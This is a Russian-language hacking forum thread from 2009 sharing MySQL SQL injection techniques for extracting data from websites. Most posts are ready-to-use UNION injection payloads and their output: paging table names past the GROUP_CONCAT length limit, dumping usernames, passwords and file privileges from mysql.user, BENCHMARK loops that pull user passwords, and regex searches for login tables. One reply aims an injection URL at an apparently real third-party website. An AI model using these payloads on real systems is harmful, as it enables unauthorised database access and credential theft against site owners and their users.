Использование GROUP_CONCAT() + NOT IN () [MySQL]

Discussion in 'Уязвимости' started by [х26]VОLАND, 3 May 2009.

  1. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    Использование GROUP_CONCAT() + NOT IN () [MySQL]

    (Предназначено прежде всего для новичков).
    Многие привыкли использовать функцию GROUP_CONCAT() которая объединяет несколько возвращаемых запией в одну. Это позволяет быстро получить нужные данные в случаях, если скрипт отображает только один результат.
    Но из-за ограничения group_concat_max_len (по умолчанию - 1024) при больших объёмах данных польза данной функции стремится к нулю, так как при превышении данного лимита результирующая строка обрезается.

    Существует выход из данной ситуации.
    В MySQL (и не только) есть такая конструкция, как NOT IN () (которая, кстати, нередко применяется при атаке на MSSQL). Примерный синтаксис:

    PHP:
    expression NOT IN ('value1' [, 'value2', ...])
    Данное выражение возвращает 1 (истина), если expression НЕ равно ни одному из значений, перечисленных в скобках (value).
    Таким образом, путём подстановки этой конструкции в условие WHERE мы можем исключить уже полученные с помощью GROUP_CONCAT() данные, таким образом получив ранее недоступные записи, которые не умещались в предел group_concat_max_len.

    Рассмотрим на конкретном примере.
    Я использовал предел group_concat_max_len в ~340 символов вместо 1024 (принципиальной разницы нет).

    Запрос
    PHP:
    SELECT
        GROUP_CONCAT
    (`table_name`)
    FROM
        
    `information_schema`.`tables`
    как и ожидается, выводит не все записи:

    Code:
    CHARACTER_SETS,
    COLLATIONS,
    COLLATION_CHARACTER_SET_APPLICABILITY,
    COLUMNS,
    COLUMN_PRIVILEGES,
    KEY_COLUMN_USAGE,
    PROFILING,
    ROUTINES,
    SCHEMATA,
    SCHEMA_PRIVILEGES
    STATISTICS,
    TABLES,
    TABLE_CONSTRAINTS,
    TABLE_PRIVILEGES,TRIGGERS,
    USER_PRIVILEGES,
    VIEWS,
    _table_1,
    _table_2,
    _table_3,
    _table_4,
    _table_5,
    _table_6,
    _table_7,
    _table_8
    Необходимо занести все полученные строки в NOT IN ():

    PHP:
    SELECT
        GROUP_CONCAT
    (`table_name`)
    FROM
        
    `information_schema`.`tables`
    WHERE
        
    `table_nameNOT IN ('CHARACTER_SETS''COLLATIONS''COLLATION_CHARACTER_SET_APPLICABILITY''COLUMNS''COLUMN_PRIVILEGES''KEY_COLUMN_USAGE''PROFILING''ROUTINES''SCHEMATA''SCHEMA_PRIVILEGES''STATISTICS''TABLES''TABLE_CONSTRAINTS''TABLE_PRIVILEGES''TRIGGERS''USER_PRIVILEGES''VIEWS''_table_1''_table_2''_table_3''_table_4''_table_5''_table_6''_table_7''_table_8')
    Этот запрос вернёт список последующих таблиц (так как предыдущие были исключены):
    Code:
    _table_9,
    _table_10,
    _table_11,
    _table_12,
    ....
    _table_30,
    Для получения следующей порции записей, необходимо исключить вышеприведённые имена таблиц, то есть добавить к уже существующему списку.
    К этому и сводится принцип данного метода.

    ----------------------------------------------------------------------------------

    Примечания:
    + Одним из неудобств данного метода является необходимость в рутинной операции форматирования полученных записей для подстановки в список NOT IN ()
    Но эту задачу можно возложить на MySQL, немного модифицировав целевой запрос:
    PHP:
    SELECT
        GROUP_CONCAT
    (CONCAT(0x27, `table_name`, 0x27SEPARATOR ',+')
    FROM
        
    `information_schema`.`tables`
    Данный запрос вернёт уже отформатированную последовательность (с кавычками и эквивалентами пробелов "+"), готовую для подстановки в список исключения и пересылки по HTTP (остаётся только подставить в URL):

    Code:
    'CHARACTER_SETS',+'COLLATIONS',+'COLLATION_CHARACTER_SET_APPLICABILITY',+'COLUMNS',+'COLUMN_PRIVILEGES',+'KEY_COLUMN_USAGE',+'PROFILING',+'ROUTINES',+'SCHEMATA',+'SCHEMA_PRIVILEGES',+'STATISTICS',+'TABLES',+'TABLE_CONSTRAINTS',+'TABLE_PRIVILEGES',+'TRIGGERS',+'USER_PRIVILEGES',+'VIEWS',+'aaaaa',+'bbbbb',+'cccccc',+'ddddd',+'eeeeee',+'fffffff',+'gggggg',+'hhhhhh'
    + При получении имён таблиц можно исключать существующие по умолчанию таблицы из information_schema путём подстановки условия:
    PHP:
    AND `table_schema` <> 'information_schema'
    что ещё больше сэкономит время.

    ----------------------------------------------------------------------------------

    Плюсы:
    + В разы уменьшается количество запросов к сайту (имена всех таблиц в большинстве случаев можно получить 2-3 запросами).

    Минусы:
    - При очень длинных запросах есть вероятность превысить максимальный предел длины URI-строки, в результате чего она обрежется, что породит ошибку синтаксиса MySQL.

    ----------------------------------------------------------------------------------
     
    7 people like this.
  2. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Это изврат. :)

    Куда менее гимморойно :
    a=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema!='information_schema'
    вывод(допустим):
    yes
    no
    lol
    следующим запросом вбиваем последнюю из выведенных колонок:
    a=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema!='information_schema'+and+table_name>'lol'
    И вывод пойдёт с неё по алфавиту

    Это описывал l1ght
    https://forum.antichat.ru/showpost.php?p=1087388&postcount=5144

    Или различные групировки по полям, базам и т.д. в которых отлично работает лимит
    a=-1+union+select+group_concat(table_name)+from+information_schema.tables+group+by+table_schema+limit+1,1

    a=-1+union+select+group_concat(concat_ws(0x3a,user,password,file_priv))+from+mysql.user+group+by+file_priv+limit+1,1

    Которые тоже уже описывались мной:
    https://forum.antichat.ru/showpost.php?p=1090945&postcount=5213
     
    5 people like this.
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Или так:

    GROUP_CONCAT(TABLE_NAME)+FROM+information_schema.tables+WHERE+ASCII(LOWER(TABLE_NAME))= 97 - выведет все таблы, начинающиеся на ''a" - независимо от регистра (или использовать такие же знаки > или <)

    реальный пример:

    Code:
    http://www.unialco.com.br/jobs/details.php?id=-48'+union+select+1,2,GROUP_CONCAT(TABLE_NAME),4,5,6,7,8,9,10+FROM+information_schema.tables+WHERE+ASCII(LOWER(TABLE_NAME))=99+--+
    
     
    1 person likes this.
  4. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    А можно объявить переменные и пустить вывод таблиц по циклу benchmark().

    Выглядеть это может примерно так:

    Code:
    SELECT @count:=1, @out:=' ', BENCHMARK(10, @out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',name,password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id_user=@count LIMIT 0,1))), @out
     
    4 people like this.
  5. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    забавно, то же самое обсуждали с джоком год назад
    но ближе к телу, после ряда тестов на локалке заметил косяк:
    Code:
    mysql> select version();
    +---------------------+
    | version()           |
    +---------------------+
    | 5.0.45-community-nt |
    +---------------------+
    1 row in set (0.00 sec)
    
    mysql> create table users (id char(255),password char(255));
    Query OK, 0 rows affected (0.03 sec)
    
    mysql> insert into users values (1,'lala1'),(2,'lala2'),(3,'lala3'),(11,'lala888'),(12,'lala999');
    Query OK, 5 rows affected (0.00 sec)
    Records: 5  Duplicates: 0  Warnings: 0
    
    mysql> SELECT @count:=1,@out:=' ',BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
    +-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
    | @count:=1 | @out:=' ' | BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT0,1)))  | @out                               |
    +-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
    |         1 |           |     0 |  <br>lala1;2<br>lala2;3<br>lala3;4 |
    +-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
    1 row in set (0.00 sec)
    
    mysql> SELECT @count:=1,@out:=' ',BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
    +-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
    | @count:=1 | @out:=' ' | BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out |
    +-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
    |         1 |           |      0 | NULL |
    +-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
    1 row in set (0.00 sec)
    
    mysql> SELECT @count:=1,@out:=' ',BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
    +-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
    | @count:=1 | @out:=' ' | BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out |
    +-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
    |         1 |           |       0 | NULL |
    +-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
    1 row in set (0.01 sec)
    
    после первой пустой выборки зануляется весь @out
    как вариант:
    Code:
    mysql> select concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char));
    +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
    | concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char)) |
    +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
    | 010lala999:lala888:lala3:lala2:lala1:2341213                            |
    +-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
    1 row in set (0.03 sec)
    подогнал все под 1 столбец, 010 - @a,@b,benchmark (вывод уже лень подгонять)
    в полевых условиях:
    =>
    =>
    ? >4.1
     
    3 people like this.
  6. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    l1ght, да-да, я из-за этого косяка и написал слово "примерно".
    Я делал проверку на существование конструкцией IFNULL(@count+1,@count), чтоб было как можно короче, но почему-то она не помогла...
    Спасибо за рабочий запрос)
     
  7. xelex999

    xelex999 Member

    Joined:
    25 Jun 2008
    Messages:
    19
    Likes Received:
    5
    Reputations:
    0
    http://localhost/newsportal/haber/index.php?id=1+and+1=0+union+select+1,group_concat(column_name,0x3A,table_name),3,4,5+from+information_schema.columns+where+table_name=(select+table_name+from+information_schema.tables+where+table_schema=database()+and+table_name+REGEXP+0x2E2A282875735B75655D7C6C6F675B696F5D6E7C6D656D29292E2A+limit+0,1)+limit+0,1--
    Этот запрос выведет название таблицы и полей указанных в регекспе-.*((us[ue]|log[io]n|mem)).*
    к примеру:members:id,members:name,members:password etc... естественно если такие есть в базе
    проверено в полевых условиях....работает :)
    Взято здесь:http://undersecurity.net/sql-union-injection/optimizacion-de-sql-union-injection-en-mysql
    enjoy :)